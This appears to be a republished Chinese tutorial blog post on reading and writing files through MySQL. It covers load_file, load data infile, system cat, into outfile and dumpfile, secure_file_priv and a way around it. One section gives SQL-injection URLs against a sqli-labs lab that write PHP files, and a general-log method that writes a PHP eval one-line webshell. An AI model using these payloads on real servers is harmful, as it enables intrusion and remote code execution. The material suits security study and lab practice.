当前位置:   article > 正文

MySQL 文件读写_mysql读写文件

mysql读写文件

0x00 前言

MySQL在不同版本读写文件方法大致有这几个:

1.load_file()

2.load data infile()

3.system cat

4.outfile

5.dumpfile

load_file()和load data infile读取文件的方法为:新建一个表,将读取文件以字符串形式插入表中,然后读出表中数据。load_file()也可以直接使用select load_file('文件路径')

0x01 读文件需满足条件

1.secure_file_priv值允许对该路径下的文件进行操作

2.数据库用户(mysql的属主)对文件有读权限

3.当前数据库登录用户拥有file权限

查看方法:mysql> show grants for 用户名@localhost;
在这里插入图片描述4.知道文件的完整路径

5.文件大小小于max_allowed_packet(load_file()函数受到这个值的限制)

查看方法:mysql> show global variables like 'max_allowed%';
修改方法:mysql> set global max_allowed_packet = 5\*1024\*1024;
在这里插入图片描述

0x02 写文件需满足条件

1.secure_file_priv值允许对该路径下的文件进行操作

2.数据库用户(mysql的属主)对文件有写权限

3.当前数据库登录用户拥有file权限

4.知道文件的完整路径

一、secure_file_priv

  • 值为NULL,表示禁止文件的导入与导出

  • 值为某一目录,表示只能对该目录下的文件导入与导出

  • 值为空,表示不对文件的读写进行限制

secure_file_priv值的查询语句:

mysql>show global variables like "secure_file_priv";
mysql>show global variables like "secure%";
在这里插入图片描述
在mysql 5.6.34版本以后 secure_file_priv 的值默认为NULL,可以通过以下方式修改:

修改my.ini或my.cnf文件,在[mysqld]下添加条目secure_file_priv =
,保存后重启mysql:systemctl restart mysql.service

二、load_file()

首先在/tmp目录下创建一个文档
在这里插入图片描述
运行mysql,sql命令如下:

create table user(cmd text);
insert into user(cmd) values (load_file('/tmp/1.txt'));
select * from user;
  • 1
  • 2
  • 3

在这里插入图片描述

select load_file('/tmp/1.txt');
  • 1

在这里插入图片描述
这里不知道为什么是NULL,在其他满足条件的目录中尝试成功如下:

在/usr目录下创建一个文档
在这里插入图片描述
运行mysql,sql命令如下:

select load_file('/usr/1.txt');
  • 1

在这里插入图片描述

三、load data infile

load data infile 执行权限问题

运行mysql,sql命令如下:

load data infile '/tmp/1.txt' into table user;
  • 1

在这里插入图片描述
不知道为什么对于/tmp的尝试都失败了,但对于其他满足要求的目录尝试都能成功,这里不再举例。

三、load data local infile

如果指定local关键词,则表明从客户主机读文件:

  • 如果你的filename为绝对路径,则客户机从根目录开始查找该文件。
  • 如果你的filename为相对路径,则客户机从当前目录开始查找该文件。

如果没指定local,则文件必须位于服务器上:

  • 如果你的filename为绝对路径,则服务器从根目录开始查找该文件。
  • 如果你的filename为相对路径,则服务器从数据库的数据目录中开始查找该文件。

使用local需要设置local_infile开启,该变量默认为ON。

客户端设置local_infile可以在client中使用以下命令:

mysql> SET GLOBAL local_infile = true;
mysql> SHOW GLOBAL VARIABLES LIKE 'local_infile';
在这里插入图片描述
也可以修改my.ini或my.cnf文件,在[mysqld]下添加条目local_infile = 1

load data local infile '/tmp/1.txt' into table user;
  • 1

在这里插入图片描述

四、system cat

在mysql版本为5.x时,除了可以使用上两种方法外,还可以使用系统命令直接读取文件。

system cat /tmp/1.txt;
  • 1

在这里插入图片描述
注意:

1.此方法只能在本地读取,远程连接mysql时无法使用system。

2.无法越权读取。

五、select … into outfile/dumpfile …

select 'lyz' into outfile '/tmp/lyz.txt';
select '123' into dumfile '/usr/local/mysql/1.txt';
system cat 'usr/local/mysql/1.txt';
exit;
find / -name lyz.txt
  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述

0x03 secure_file_priv=NULL 的绕过

使用system执行系统命令和load data infile语句加local选项绕过限制。

  • system执行系统命令适用版本为5.x。

  • 此方法只能在本地读取,远程连接mysql时无法使用system。

  • 无法越权读取。

  • 使用load data local infile语句从客户主机读取文件。

1.查询secure_file_priv值:

在这里插入图片描述
2.system读写文件:(强调一下system执行系统命令!)
在这里插入图片描述
3.load data local infile需要将读取的文件存储在数据表中:
在这里插入图片描述

0x04 基于mysql下的几种写shell方法

一、基于联合查询法的写入方法

1.http://127.0.0.1/sqli-labs-master/Less-2/?id=1 +UNION+ALL+SELECT+1,2,’<? phpinfo(); ?>’ into outfile ‘G:/2.txt’ %23

2.http://127.0.0.1/sqli-labs-master/Less-2/?id=1 +UNION+ALL+SELECT+1,2,’<?php phpinfo() ?>’ into dumpfile ‘G:/2.txt’ %23

二、基于非联合查询法的写入方法

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 into outfile ‘G:/2.txt’ fields terminated by ‘<? phpinfo(); ?>’%23

三、基于log日志的写入方法

查询当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,并且记录下原地址,方便后面恢复:

show variables like ‘%general%’;

开启日志监测:(一般是关闭的,如果一直开,文档会很大的。)

set global general_log = on;

设置我们需要写入的路径:

set global general_log_file = ‘G:/2.txt’;

查询一个一句话木马:(这时log日志里就会记录这个一句话木马。)

select ‘<?php eval($_POST[‘shiyan’]);?>’;

结束后,再修改为原来的路径:

set global general_log_file = ‘原来的路径’;

关闭日志记录:

set global general_log = off;

img

0x05 dumpfile与outfile的区别

摘自:outfile、dumpfile、load_file函数详解
我们本次的测试数据如下:
在这里插入图片描述

一、导出数据库场景下的差异

1.select …… into outfile

我们先来看一下mysql官方文档里对于这两个函数的解释。
在这里插入图片描述
在这里插入图片描述

其中有两个值得注意的坑点:
outfile函数可以导出多行数据,而dumpfile只能导出一行数据。
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式。
  • 1
  • 2
  • 3

接下我们来通过导出测试看看这里面的细节。

首先通过命令select * from test into outfile '/tmp/test.txt'使用outfile进行导出
在这里插入图片描述
可以看到/tmp/test.txt文件中保存了所有的数据并且在一行数据的末尾自动换行。

查看官方文档,使用如下参数可以进行格式调整:
在这里插入图片描述
其中 FIELDS ESCAPED BY 可以用来对指定的字符进行转义, FIELDS [OPTIONALLY] ENCLOSED BY 用来对字段值进行包裹,FIELDS TERMINATED BY 用来对字段值之间进行分割。

例如使用如下命令: select * from test into outfile '/tmp/test.txt FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY ' " 'LINES TERMINATED BY '\n'

得到的导出文件如下:
在这里插入图片描述
2.select …… into dumpfile

接着使用命令select * from test into dumpfile '/tmp/test.txt'来使用dumpfile进行导出。
在这里插入图片描述
可以看到此命令在执行的时候提示输出超过一行。

查看文件内容
在这里插入图片描述
可以看到通过dumpfile导出的数据并未进行换行且只导出了部分数据。

二、写入webshell或者udf下的差异

我们使用命令select 'a\naa\raaaa' into outfile '/tmp/test.txt'来看一下在常用的写文件场景下的结果。
在这里插入图片描述
可以看到outfile对导出内容中的\n等特殊字符进行了转义,并且在文件内容的末尾增加了一个新行。

我们接着使用命令select 'a\naa\raaaa' into dumpfile '/tmp/test.txt'来看一下。
在这里插入图片描述
可以看到dumpfile对文件内容是原样写入,未做任何转义和增加。这也就是为什么我们在平常的UDF提权中使用dumpfile进行dll文件写入的原因。

还有一个需要关注的点就是:outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中十分麻烦,因为会自动将单引号转义成 \’ 。然而load_file后面的路径既可以是单引号,也可以是0x、char转换的字符,但是路径中的斜杠是 / 而不是 \ 。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/寸_铁/article/detail/949778
推荐阅读
相关标签
  

闽ICP备14008679号